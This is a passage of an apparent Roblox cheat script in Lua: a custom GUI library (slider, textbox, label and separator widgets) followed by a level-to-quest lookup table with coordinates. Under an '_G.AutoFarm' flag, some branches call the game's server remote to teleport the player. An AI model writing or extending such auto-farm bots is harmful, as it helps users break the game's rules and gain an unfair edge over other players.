person.ImageRectSize = Vector2.new(36, 36)
				for i,v in next, DropScroll:GetChildren() do
					if v:IsA("TextButton") then
						v:Destroy()
					end
				end
			end
			return dropfunc
		end

		function main:Slider(text,min,max,set,callback)
			local Slider = Instance.new("Frame")
			local slidercorner = Instance.new("UICorner")
			local sliderr = Instance.new("Frame")
			local sliderrcorner = Instance.new("UICorner")
			local SliderLabel = Instance.new("TextLabel")
			local HAHA = Instance.new("Frame")
			local AHEHE = Instance.new("TextButton")
			local bar = Instance.new("Frame")
			local bar1 = Instance.new("Frame")
			local bar1corner = Instance.new("UICorner")
			local barcorner = Instance.new("UICorner")
			local circlebar = Instance.new("Frame")
			local UICorner = Instance.new("UICorner")
			local slidervalue = Instance.new("Frame")
			local valuecorner = Instance.new("UICorner")
			local TextBox = Instance.new("TextBox")
			local UICorner_2 = Instance.new("UICorner")

			Slider.Name = "Slider"
			Slider.Parent = MainFramePage
			Slider.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			Slider.BackgroundTransparency = 0
			Slider.Size = UDim2.new(0, 470, 0, 51)

			slidercorner.CornerRadius = UDim.new(0, 5)
			slidercorner.Name = "slidercorner"
			slidercorner.Parent = Slider

			sliderr.Name = "sliderr"
			sliderr.Parent = Slider
			sliderr.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
			sliderr.Position = UDim2.new(0, 1, 0, 1)
			sliderr.Size = UDim2.new(0, 468, 0, 49)

			sliderrcorner.CornerRadius = UDim.new(0, 5)
			sliderrcorner.Name = "sliderrcorner"
			sliderrcorner.Parent = sliderr

			SliderLabel.Name = "SliderLabel"
			SliderLabel.Parent = sliderr
			SliderLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			SliderLabel.BackgroundTransparency = 1.000
			SliderLabel.Position = UDim2.new(0, 15, 0, 0)
			SliderLabel.Size = UDim2.new(0, 180, 0, 26)
			SliderLabel.Font = Enum.Font.GothamSemibold
			SliderLabel.Text = text
			SliderLabel.TextColor3 = Color3.fromRGB(225, 225, 225)
			SliderLabel.TextSize = 16.000
			SliderLabel.TextTransparency = 0
			SliderLabel.TextXAlignment = Enum.TextXAlignment.Left

			HAHA.Name = "HAHA"
			HAHA.Parent = sliderr
			HAHA.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			HAHA.BackgroundTransparency = 1.000
			HAHA.Size = UDim2.new(0, 468, 0, 29)

			AHEHE.Name = "AHEHE"
			AHEHE.Parent = sliderr
			AHEHE.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			AHEHE.BackgroundTransparency = 1.000
			AHEHE.Position = UDim2.new(0, 10, 0, 35)
			AHEHE.Size = UDim2.new(0, 448, 0, 5)
			AHEHE.Font = Enum.Font.SourceSans
			AHEHE.Text = ""
			AHEHE.TextColor3 = Color3.fromRGB(0, 0, 0)
			AHEHE.TextSize = 14.000

			bar.Name = "bar"
			bar.Parent = AHEHE
			bar.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
			bar.Size = UDim2.new(0, 448, 0, 5)

			bar1.Name = "bar1"
			bar1.Parent = bar
			bar1.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			bar1.BackgroundTransparency = 0
			bar1.Size = UDim2.new(set/max, 0, 0, 5)

			bar1corner.CornerRadius = UDim.new(0, 5)
			bar1corner.Name = "bar1corner"
			bar1corner.Parent = bar1

			barcorner.CornerRadius = UDim.new(0, 5)
			barcorner.Name = "barcorner"
			barcorner.Parent = bar

			circlebar.Name = "circlebar"
			circlebar.Parent = bar1
			circlebar.BackgroundColor3 = Color3.fromRGB(225, 225, 225)
			circlebar.Position = UDim2.new(1, -2, 0, -3)
			circlebar.Size = UDim2.new(0, 10, 0, 10)

			UICorner.CornerRadius = UDim.new(0, 100)
			UICorner.Parent = circlebar

			slidervalue.Name = "slidervalue"
			slidervalue.Parent = sliderr
			slidervalue.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			slidervalue.BackgroundTransparency = 0
			slidervalue.Position = UDim2.new(0, 395, 0, 5)
			slidervalue.Size = UDim2.new(0, 65, 0, 18)

			valuecorner.CornerRadius = UDim.new(0, 5)
			valuecorner.Name = "valuecorner"
			valuecorner.Parent = slidervalue

			TextBox.Parent = slidervalue
			TextBox.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
			TextBox.Position = UDim2.new(0, 1, 0, 1)
			TextBox.Size = UDim2.new(0, 63, 0, 16)
			TextBox.Font = Enum.Font.GothamSemibold
			TextBox.TextColor3 = Color3.fromRGB(225, 225, 225)
			TextBox.TextSize = 9.000
			TextBox.Text = set
			TextBox.TextTransparency = 0

			UICorner_2.CornerRadius = UDim.new(0, 5)
			UICorner_2.Parent = TextBox

			local mouse = game.Players.LocalPlayer:GetMouse()
			local uis = game:GetService("UserInputService")

			if Value == nil then
				Value = set
				pcall(function()
					callback(Value)
				end)
			end
			
			AHEHE.MouseButton1Down:Connect(function()
				Value = math.floor((((tonumber(max) - tonumber(min)) / 448) * bar1.AbsoluteSize.X) + tonumber(min)) or 0
				pcall(function()
					callback(Value)
				end)
				bar1.Size = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X, 0, 448), 0, 5)
				circlebar.Position = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X - 2, 0, 438), 0, -3)
				moveconnection = mouse.Move:Connect(function()
					TextBox.Text = Value
					Value = math.floor((((tonumber(max) - tonumber(min)) / 448) * bar1.AbsoluteSize.X) + tonumber(min))
					pcall(function()
						callback(Value)
					end)
					bar1.Size = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X, 0, 448), 0, 5)
					circlebar.Position = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X - 2, 0, 438), 0, -3)
				end)
				releaseconnection = uis.InputEnded:Connect(function(Mouse)
					if Mouse.UserInputType == Enum.UserInputType.MouseButton1 then
						Value = math.floor((((tonumber(max) - tonumber(min)) / 448) * bar1.AbsoluteSize.X) + tonumber(min))
						pcall(function()
							callback(Value)
						end)
						bar1.Size = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X, 0, 448), 0, 5)
						circlebar.Position = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X - 2, 0, 438), 0, -3)
						moveconnection:Disconnect()
						releaseconnection:Disconnect()
					end
				end)
			end)
			releaseconnection = uis.InputEnded:Connect(function(Mouse)
				if Mouse.UserInputType == Enum.UserInputType.MouseButton1 then
					Value = math.floor((((tonumber(max) - tonumber(min)) / 448) * bar1.AbsoluteSize.X) + tonumber(min))
					TextBox.Text = Value
				end
			end)

			TextBox.FocusLost:Connect(function()
				if tonumber(TextBox.Text) > max then
					TextBox.Text  = max
				end
				bar1.Size = UDim2.new((TextBox.Text or 0) / max, 0, 0, 5)
				circlebar.Position = UDim2.new(1, -2, 0, -3)
				TextBox.Text = tostring(TextBox.Text and math.floor( (TextBox.Text / max) * (max - min) + min) )
				pcall(callback, TextBox.Text)
			end)
		end

		function main:Textbox(text,disappear,callback)
			local Textbox = Instance.new("Frame")
			local TextboxCorner = Instance.new("UICorner")
			local Textboxx = Instance.new("Frame")
			local TextboxxCorner = Instance.new("UICorner")
			local TextboxLabel = Instance.new("TextLabel")
			local txtbtn = Instance.new("TextButton")
			local RealTextbox = Instance.new("TextBox")
			local UICorner = Instance.new("UICorner")

			Textbox.Name = "Textbox"
			Textbox.Parent = MainFramePage
			Textbox.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			Textbox.BackgroundTransparency = 0
			Textbox.Size = UDim2.new(0, 470, 0, 31)

			TextboxCorner.CornerRadius = UDim.new(0, 5)
			TextboxCorner.Name = "TextboxCorner"
			TextboxCorner.Parent = Textbox

			Textboxx.Name = "Textboxx"
			Textboxx.Parent = Textbox
			Textboxx.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
			Textboxx.Position = UDim2.new(0, 1, 0, 1)
			Textboxx.Size = UDim2.new(0, 468, 0, 29)

			TextboxxCorner.CornerRadius = UDim.new(0, 5)
			TextboxxCorner.Name = "TextboxxCorner"
			TextboxxCorner.Parent = Textboxx

			TextboxLabel.Name = "TextboxLabel"
			TextboxLabel.Parent = Textbox
			TextboxLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			TextboxLabel.BackgroundTransparency = 1.000
			TextboxLabel.Position = UDim2.new(0, 15, 0, 0)
			TextboxLabel.Text = text
			TextboxLabel.Size = UDim2.new(0, 145, 0, 31)
			TextboxLabel.Font = Enum.Font.GothamSemibold
			TextboxLabel.TextColor3 = Color3.fromRGB(225, 225, 225)
			TextboxLabel.TextSize = 16.000
			TextboxLabel.TextTransparency = 0
			TextboxLabel.TextXAlignment = Enum.TextXAlignment.Left

			txtbtn.Name = "txtbtn"
			txtbtn.Parent = Textbox
			txtbtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			txtbtn.BackgroundTransparency = 1.000
			txtbtn.Position = UDim2.new(0, 1, 0, 1)
			txtbtn.Size = UDim2.new(0, 468, 0, 29)
			txtbtn.Font = Enum.Font.SourceSans
			txtbtn.Text = ""
			txtbtn.TextColor3 = Color3.fromRGB(0, 0, 0)
			txtbtn.TextSize = 14.000

			RealTextbox.Name = "RealTextbox"
			RealTextbox.Parent = Textbox
			RealTextbox.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
			RealTextbox.BackgroundTransparency = 0
			RealTextbox.Position = UDim2.new(0, 360, 0, 4)
			RealTextbox.Size = UDim2.new(0, 100, 0, 24)
			RealTextbox.Font = Enum.Font.GothamSemibold
			RealTextbox.Text = ""
			RealTextbox.TextColor3 = Color3.fromRGB(225, 225, 225)
			RealTextbox.TextSize = 11.000
			RealTextbox.TextTransparency = 0

			RealTextbox.FocusLost:Connect(function()
				callback(RealTextbox.Text)
				if disappear then
					RealTextbox.Text = ""
				end
			end)

			UICorner.CornerRadius = UDim.new(0, 5)
			UICorner.Parent = RealTextbox
		end
		function main:Label(text)
			local Label = Instance.new("TextLabel")
			local PaddingLabel = Instance.new("UIPadding")
			local labelfunc = {}
	
			Label.Name = "Label"
			Label.Parent = MainFramePage
			Label.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			Label.BackgroundTransparency = 1.000
			Label.Size = UDim2.new(0, 470, 0, 20)
			Label.Font = Enum.Font.GothamSemibold
			Label.TextColor3 = Color3.fromRGB(225, 225, 225)
			Label.TextSize = 16.000
			Label.Text = text
			Label.TextXAlignment = Enum.TextXAlignment.Left

			PaddingLabel.PaddingLeft = UDim.new(0,15)
			PaddingLabel.Parent = Label
			PaddingLabel.Name = "PaddingLabel"
	
			function labelfunc:Set(newtext)
				Label.Text = newtext
			end
			return labelfunc
		end

		function main:Seperator(text)
			local Seperator = Instance.new("Frame")
			local Sep1 = Instance.new("Frame")
			local Sep2 = Instance.new("TextLabel")
			local Sep3 = Instance.new("Frame")
			
			Seperator.Name = "Seperator"
			Seperator.Parent = MainFramePage
			Seperator.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			Seperator.BackgroundTransparency = 1.000
			Seperator.Size = UDim2.new(0, 470, 0, 20)
			
			Sep1.Name = "Sep1"
			Sep1.Parent = Seperator
			Sep1.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			Sep1.BorderSizePixel = 0
			Sep1.Position = UDim2.new(0, 0, 0, 10)
			Sep1.Size = UDim2.new(0, 80, 0, 1)
			
			Sep2.Name = "Sep2"
			Sep2.Parent = Seperator
			Sep2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			Sep2.BackgroundTransparency = 1.000
			Sep2.Position = UDim2.new(0, 185, 0, 0)
			Sep2.Size = UDim2.new(0, 100, 0, 20)
			Sep2.Font = Enum.Font.GothamSemibold
			Sep2.Text = text
			Sep2.TextColor3 = Color3.fromRGB(255, 255, 255)
			Sep2.TextSize = 14.000
			
			Sep3.Name = "Sep3"
			Sep3.Parent = Seperator
			Sep3.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			Sep3.BorderSizePixel = 0
			Sep3.Position = UDim2.new(0, 390, 0, 10)
			Sep3.Size = UDim2.new(0, 80, 0, 1)
		end

		function main:Line()
			local Linee = Instance.new("Frame")
			local Line = Instance.new("Frame")
			
			Linee.Name = "Linee"
			Linee.Parent = MainFramePage
			Linee.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			Linee.BackgroundTransparency = 1.000
			Linee.Position = UDim2.new(0, 0, 0.119999997, 0)
			Linee.Size = UDim2.new(0, 470, 0, 20)
			
			Line.Name = "Line"
			Line.Parent = Linee
			Line.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			Line.BorderSizePixel = 0
			Line.Position = UDim2.new(0, 0, 0, 10)
			Line.Size = UDim2.new(0, 470, 0, 1)
		end
		return main
	end
	return uitab
end
if game.PlaceId == 2753915549 then
        World1 = true
    elseif game.PlaceId == 4442272183 then
        World2 = true
    elseif game.PlaceId == 7449423635 then
        World3 = true
    end
    
    function CheckQuest() 
        MyLevel = game:GetService("Players").LocalPlayer.Data.Level.Value
        if World1 then
            if MyLevel == 1 or MyLevel <= 9 then
                Mon = "Bandit [Lv. 5]"
                LevelQuest = 1
                NameQuest = "BanditQuest1"
                NameMon = "Bandit"
                CFrameQuest = CFrame.new(1059.37195, 15.4495068, 1550.4231, 0.939700544, -0, -0.341998369, 0, 1, -0, 0.341998369, 0, 0.939700544)
            elseif MyLevel == 10 or MyLevel <= 14 then
                Mon = "Monkey [Lv. 14]"
                LevelQuest = 1
                NameQuest = "JungleQuest"
                NameMon = "Monkey"
                CFrameQuest = CFrame.new(-1598.08911, 35.5501175, 153.377838, 0, 0, 1, 0, 1, -0, -1, 0, 0)
            elseif MyLevel == 15 or MyLevel <= 29 then
                Mon = "Gorilla [Lv. 20]"
                LevelQuest = 2
                NameQuest = "JungleQuest"
                NameMon = "Gorilla"
                CFrameQuest = CFrame.new(-1598.08911, 35.5501175, 153.377838, 0, 0, 1, 0, 1, -0, -1, 0, 0)
            elseif MyLevel == 30 or MyLevel <= 39 then
                Mon = "Pirate [Lv. 35]"
                LevelQuest = 1
                NameQuest = "BuggyQuest1"
                NameMon = "Pirate"
                CFrameQuest = CFrame.new(-1141.07483, 4.10001802, 3831.5498, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627)
            elseif MyLevel == 40 or MyLevel <= 59 then
                Mon = "Brute [Lv. 45]"
                LevelQuest = 2
                NameQuest = "BuggyQuest1"
                NameMon = "Brute"
                CFrameQuest = CFrame.new(-1141.07483, 4.10001802, 3831.5498, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627)
            elseif MyLevel == 60 or MyLevel <= 74 then
                Mon = "Desert Bandit [Lv. 60]"
                LevelQuest = 1
                NameQuest = "DesertQuest"
                NameMon = "Desert Bandit"
                CFrameQuest = CFrame.new(894.488647, 5.14000702, 4392.43359, 0.819155693, -0, -0.573571265, 0, 1, -0, 0.573571265, 0, 0.819155693)
            elseif MyLevel == 75 or MyLevel <= 89 then
                Mon = "Desert Officer [Lv. 70]"
                LevelQuest = 2
                NameQuest = "DesertQuest"
                NameMon = "Desert Officer"
                CFrameQuest = CFrame.new(894.488647, 5.14000702, 4392.43359, 0.819155693, -0, -0.573571265, 0, 1, -0, 0.573571265, 0, 0.819155693)
            elseif MyLevel == 90 or MyLevel <= 99 then
                Mon = "Snow Bandit [Lv. 90]"
                LevelQuest = 1
                NameQuest = "SnowQuest"
                NameMon = "Snow Bandit"
                CFrameQuest = CFrame.new(1389.74451, 88.1519318, -1298.90796, -0.342042685, 0, 0.939684391, 0, 1, 0, -0.939684391, 0, -0.342042685)
            elseif MyLevel == 100 or MyLevel <= 119 then
                Mon = "Snowman [Lv. 100]"
                LevelQuest = 2
                NameQuest = "SnowQuest"
                NameMon = "Snowman"
                CFrameQuest = CFrame.new(1389.74451, 88.1519318, -1298.90796, -0.342042685, 0, 0.939684391, 0, 1, 0, -0.939684391, 0, -0.342042685)
            elseif MyLevel == 120 or MyLevel <= 149 then
                Mon = "Chief Petty Officer [Lv. 120]"
                LevelQuest = 1
                NameQuest = "MarineQuest2"
                NameMon = "Chief Petty Officer"
                CFrameQuest = CFrame.new(-5039.58643, 27.3500385, 4324.68018, 0, 0, -1, 0, 1, 0, 1, 0, 0)
            elseif MyLevel == 150 or MyLevel <= 174 then
                Mon = "Sky Bandit [Lv. 150]"
                LevelQuest = 1
                NameQuest = "SkyQuest"
                NameMon = "Sky Bandit"
                CFrameQuest = CFrame.new(-4839.53027, 716.368591, -2619.44165, 0.866007268, 0, 0.500031412, 0, 1, 0, -0.500031412, 0, 0.866007268)
            elseif MyLevel == 175 or MyLevel <= 189 then
                Mon = "Dark Master [Lv. 175]"
                LevelQuest = 2
                NameQuest = "SkyQuest"
                NameMon = "Dark Master"
                CFrameQuest = CFrame.new(-4839.53027, 716.368591, -2619.44165, 0.866007268, 0, 0.500031412, 0, 1, 0, -0.500031412, 0, 0.866007268)
            elseif MyLevel == 190 or MyLevel <= 209 then
                Mon = "Prisoner [Lv. 190]"
                LevelQuest = 1
                NameQuest = "PrisonerQuest"
                NameMon = "Prisoner"
                CFrameQuest = CFrame.new(5308.93115, 1.65517521, 475.120514, -0.0894274712, -5.00292918e-09, -0.995993316, 1.60817859e-09, 1, -5.16744869e-09, 0.995993316, -2.06384709e-09, -0.0894274712)
            elseif MyLevel == 210 or MyLevel <= 249 then
                Mon = "Dangerous Prisoner [Lv. 210]"
                LevelQuest = 2
                NameQuest = "PrisonerQuest"
                NameMon = "Dangerous Prisoner"
                CFrameQuest = CFrame.new(5308.93115, 1.65517521, 475.120514, -0.0894274712, -5.00292918e-09, -0.995993316, 1.60817859e-09, 1, -5.16744869e-09, 0.995993316, -2.06384709e-09, -0.0894274712)
            elseif MyLevel == 250 or MyLevel <= 274 then
                Mon = "Toga Warrior [Lv. 250]"
                LevelQuest = 1
                NameQuest = "ColosseumQuest"
                NameMon = "Toga Warrior"
                CFrameQuest = CFrame.new(-1580.04663, 6.35000277, -2986.47534, -0.515037298, 0, -0.857167721, 0, 1, 0, 0.857167721, 0, -0.515037298)
            elseif MyLevel == 275 or MyLevel <= 299 then
                Mon = "Gladiator [Lv. 275]"
                LevelQuest = 2
                NameQuest = "ColosseumQuest"
                NameMon = "Gladiator"
                CFrameQuest = CFrame.new(-1580.04663, 6.35000277, -2986.47534, -0.515037298, 0, -0.857167721, 0, 1, 0, 0.857167721, 0, -0.515037298)
            elseif MyLevel == 300 or MyLevel <= 324 then
                Mon = "Military Soldier [Lv. 300]"
                LevelQuest = 1
                NameQuest = "MagmaQuest"
                NameMon = "Military Soldier"
                CFrameQuest = CFrame.new(-5313.37012, 10.9500084, 8515.29395, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469)
            elseif MyLevel == 325 or MyLevel <= 374 then
                Mon = "Military Spy [Lv. 325]"
                LevelQuest = 2
                NameQuest = "MagmaQuest"
                NameMon = "Military Spy"
                CFrameQuest = CFrame.new(-5313.37012, 10.9500084, 8515.29395, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469)
            elseif MyLevel == 375 or MyLevel <= 399 then
                Mon = "Fishman Warrior [Lv. 375]"
                LevelQuest = 1
                NameQuest = "FishmanQuest"
                NameMon = "Fishman Warrior"
                CFrameQuest = CFrame.new(61122.65234375, 18.497442245483, 1569.3997802734)
                if _G.AutoFarm and (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10000 then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(61163.8515625, 11.6796875, 1819.7841796875))
                end
            elseif MyLevel == 400 or MyLevel <= 449 then
                Mon = "Fishman Commando [Lv. 400]"
                LevelQuest = 2
                NameQuest = "FishmanQuest"
                NameMon = "Fishman Commando"
                CFrameQuest = CFrame.new(61122.65234375, 18.497442245483, 1569.3997802734)
                if _G.AutoFarm and (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10000 then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(61163.8515625, 11.6796875, 1819.7841796875))
                end
            elseif MyLevel == 450 or MyLevel <= 474 then
                Mon = "God's Guard [Lv. 450]"
                LevelQuest = 1
                NameQuest = "SkyExp1Quest"
                NameMon = "God's Guard"
                CFrameQuest = CFrame.new(-4721.88867, 843.874695, -1949.96643, 0.996191859, -0, -0.0871884301, 0, 1, -0, 0.0871884301, 0, 0.996191859)
                if _G.AutoFarm and (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10000 then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(-4607.82275, 872.54248, -1667.55688))
                end
            elseif MyLevel == 475 or MyLevel <= 524 then
                Mon = "Shanda [Lv. 475]"
                LevelQuest = 2
                NameQuest = "SkyExp1Quest"
                NameMon = "Shanda"
                CFrameQuest = CFrame.new(-7859.09814, 5544.19043, -381.476196, -0.422592998, 0, 0.906319618, 0, 1, 0, -0.906319618, 0, -0.422592998)
                if _G.AutoFarm and (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10000 then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(-7894.6176757813, 5547.1416015625, -380.29119873047))
                end
            elseif MyLevel == 525 or MyLevel <= 549 then
                Mon = "Royal Squad [Lv. 525]"
                LevelQuest = 1
                NameQuest = "SkyExp2Quest"
                NameMon = "Royal Squad"
                CFrameQuest = CFrame.new(-7906.81592, 5634.6626, -1411.99194, 0, 0, -1, 0, 1, 0, 1, 0, 0)
            elseif MyLevel == 550 or MyLevel <= 624 then
                Mon = "Royal Soldier [Lv. 550]"
                LevelQuest = 2
                NameQuest = "SkyExp2Quest"
                NameMon = "Royal Soldier"
                CFrameQuest = CFrame.new(-7906.81592, 5634.6626, -1411.99194, 0, 0, -1, 0, 1, 0, 1, 0, 0)
            elseif MyLevel == 625 or MyLevel <= 649 then
                Mon = "Galley Pirate [Lv. 625]"
                LevelQuest = 1
                NameQuest = "FountainQuest"
                NameMon = "Galley Pirate"
                CFrameQuest = CFrame.new(5259.81982, 37.3500175, 4050.0293, 0.087131381, 0, 0.996196866, 0, 1, 0, -0.996196866, 0, 0.087131381)
            elseif MyLevel >= 650 then
                Mon = "Galley Captain [Lv. 650]"
                LevelQuest = 2
                NameQuest = "FountainQuest"
                NameMon = "Galley Captain"
                CFrameQuest = CFrame.new(5259.81982, 37.3500175, 4050.0293, 0.087131381, 0, 0.996196866, 0, 1, 0, -0.996196866, 0, 0.087131381)
            end
        elseif World2 then
            if MyLevel == 700 or MyLevel <= 724 then
                Mon = "Raider [Lv. 700]"
                LevelQuest = 1
                NameQuest = "Area1Quest"
                NameMon = "Raider"
                CFrameQuest = CFrame.new(-429.543518, 71.7699966, 1836.18188, -0.22495985, 0, -0.974368095, 0, 1, 0, 0.974368095, 0, -0.22495985)
            elseif MyLevel == 725 or MyLevel <= 774 then
                Mon = "Mercenary [Lv. 725]"
                LevelQuest = 2
                NameQuest = "Area1Quest"
                NameMon = "Mercenary"
                CFrameQuest = CFrame.new(-429.543518, 71.7699966, 1836.18188, -0.22495985, 0, -0.974368095, 0, 1, 0, 0.974368095, 0, -0.22495985)
            elseif MyLevel == 775 or MyLevel <= 799 then
                Mon = "Swan Pirate [Lv. 775]"
                LevelQuest = 1
                NameQuest = "Area2Quest"
                NameMon = "Swan Pirate"
                CFrameQuest = CFrame.new(638.43811, 71.769989, 918.282898, 0.139203906, 0, 0.99026376, 0, 1, 0, -0.99026376, 0, 0.139203906)
            elseif MyLevel == 800 or MyLevel <= 874 then
                Mon = "Factory Staff [Lv. 800]"
                NameQuest = "Area2Quest"
                LevelQuest = 2
                NameMon = "Factory Staff"
                CFrameQuest = CFrame.new(632.698608, 73.1055908, 918.666321, -0.0319722369, 8.96074881e-10, -0.999488771, 1.36326533e-10, 1, 8.92172336e-10, 0.999488771, -1.07732087e-10, -0.0319722369)
            elseif MyLevel == 875 or MyLevel <= 899 then
                Mon = "Marine Lieutenant [Lv. 875]"
                LevelQuest = 1
                NameQuest = "MarineQuest3"
                NameMon = "Marine Lieutenant"
                CFrameQuest = CFrame.new(-2440.79639, 71.7140732, -3216.06812, 0.866007268, 0, 0.500031412, 0, 1, 0, -0.500031412, 0, 0.866007268)
            elseif MyLevel == 900 or MyLevel <= 949 then
                Mon = "Marine Captain [Lv. 900]"
                LevelQuest = 2
                NameQuest = "MarineQuest3"
                NameMon = "Marine Captain"
                CFrameQuest = CFrame.new(-2440.79639, 71.7140732, -3216.06812, 0.866007268, 0, 0.500031412, 0, 1, 0, -0.500031412, 0, 0.866007268)
            elseif MyLevel == 950 or MyLevel <= 974 then
                Mon = "Zombie [Lv. 950]"
                LevelQuest = 1
                NameQuest = "ZombieQuest"
                NameMon = "Zombie"
                CFrameQuest = CFrame.new(-5497.06152, 47.5923004, -795.237061, -0.29242146, 0, -0.95628953, 0, 1, 0, 0.95628953, 0, -0.29242146)
            elseif MyLevel == 975 or MyLevel <= 999 then
                Mon = "Vampire [Lv. 975]"
                LevelQuest = 2
                NameQuest = "ZombieQuest"
                NameMon = "Vampire"
                CFrameQuest = CFrame.new(-5497.06152, 47.5923004, -795.237061, -0.29242146, 0, -0.95628953, 0, 1, 0, 0.95628953, 0, -0.29242146)
            elseif MyLevel == 1000 or MyLevel <= 1049 then
                Mon = "Snow Trooper [Lv. 1000]"
                LevelQuest = 1
                NameQuest = "SnowMountainQuest"
                NameMon = "Snow Trooper"
                CFrameQuest = CFrame.new(609.858826, 400.119904, -5372.25928, -0.374604106, 0, 0.92718488, 0, 1, 0, -0.92718488, 0, -0.374604106)
            elseif MyLevel == 1050 or MyLevel <= 1099 then
                Mon = "Winter Warrior [Lv. 1050]"
                LevelQuest = 2
                NameQuest = "SnowMountainQuest"
                NameMon = "Winter Warrior"
                CFrameQuest = CFrame.new(609.858826, 400.119904, -5372.25928, -0.374604106, 0, 0.92718488, 0, 1, 0, -0.92718488, 0, -0.374604106)
            elseif MyLevel == 1100 or MyLevel <= 1124 then
                Mon = "Lab Subordinate [Lv. 1100]"
                LevelQuest = 1
                NameQuest = "IceSideQuest"
                NameMon = "Lab Subordinate"
                CFrameQuest = CFrame.new(-6064.06885, 15.2422857, -4902.97852, 0.453972578, -0, -0.891015649, 0, 1, -0, 0.891015649, 0, 0.453972578)
            elseif MyLevel == 1125 or MyLevel <= 1174 then
                Mon = "Horned Warrior [Lv. 1125]"
                LevelQuest = 2
                NameQuest = "IceSideQuest"
                NameMon = "Horned Warrior"
                CFrameQuest = CFrame.new(-6064.06885, 15.2422857, -4902.97852, 0.453972578, -0, -0.891015649, 0, 1, -0, 0.891015649, 0, 0.453972578)
            elseif MyLevel == 1175 or MyLevel <= 1199 then
                Mon = "Magma Ninja [Lv. 1175]"
                LevelQuest = 1
                NameQuest = "FireSideQuest"
                NameMon = "Magma Ninja"
                CFrameQuest = CFrame.new(-5428.03174, 15.0622921, -5299.43457, -0.882952213, 0, 0.469463557, 0, 1, 0, -0.469463557, 0, -0.882952213)
            elseif MyLevel == 1200 or MyLevel <= 1249 then
                Mon = "Lava Pirate [Lv. 1200]"
                LevelQuest = 2
                NameQuest = "FireSideQuest"
                NameMon = "Lava Pirate"
                CFrameQuest = CFrame.new(-5428.03174, 15.0622921, -5299.43457, -0.882952213, 0, 0.469463557, 0, 1, 0, -0.469463557, 0, -0.882952213)
            elseif MyLevel == 1250 or MyLevel <= 1274 then
                Mon = "Ship Deckhand [Lv. 1250]"
                LevelQuest = 1
                NameQuest = "ShipQuest1"
                NameMon = "Ship Deckhand"
                CFrameQuest = CFrame.new(1037.80127, 125.092171, 32911.6016)         
                if _G.AutoFarm and (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10000 then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(923.21252441406, 126.9760055542, 32852.83203125))
                end
            elseif MyLevel == 1275 or MyLevel <= 1299 then
                Mon = "Ship Engineer [Lv. 1275]"
                LevelQuest = 2
                NameQuest = "ShipQuest1"
                NameMon = "Ship Engineer"
                CFrameQuest = CFrame.new(1037.80127, 125.092171, 32911.6016)   
                if _G.AutoFarm and (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10000 then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(923.21252441406, 126.9760055542, 32852.83203125))
                end             
            elseif MyLevel == 1300 or MyLevel <= 1324 then
                Mon = "Ship Steward [Lv. 1300]"
                LevelQuest = 1
                NameQuest = "ShipQuest2"
                NameMon = "Ship Steward"
                CFrameQuest = CFrame.new(968.80957, 125.092171, 33244.125)         
                if _G.AutoFarm and (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10000 then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(923.21252441406, 126.9760055542, 32852.83203125))
                end
            elseif MyLevel == 1325 or MyLevel <= 1349 then
                Mon = "Ship Officer [Lv. 1325]"
                LevelQuest = 2
                NameQuest = "ShipQuest2"
                NameMon = "Ship Officer"
                CFrameQuest = CFrame.new(968.80957, 125.092171, 33244.125)
                if _G.AutoFarm and (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10000 then
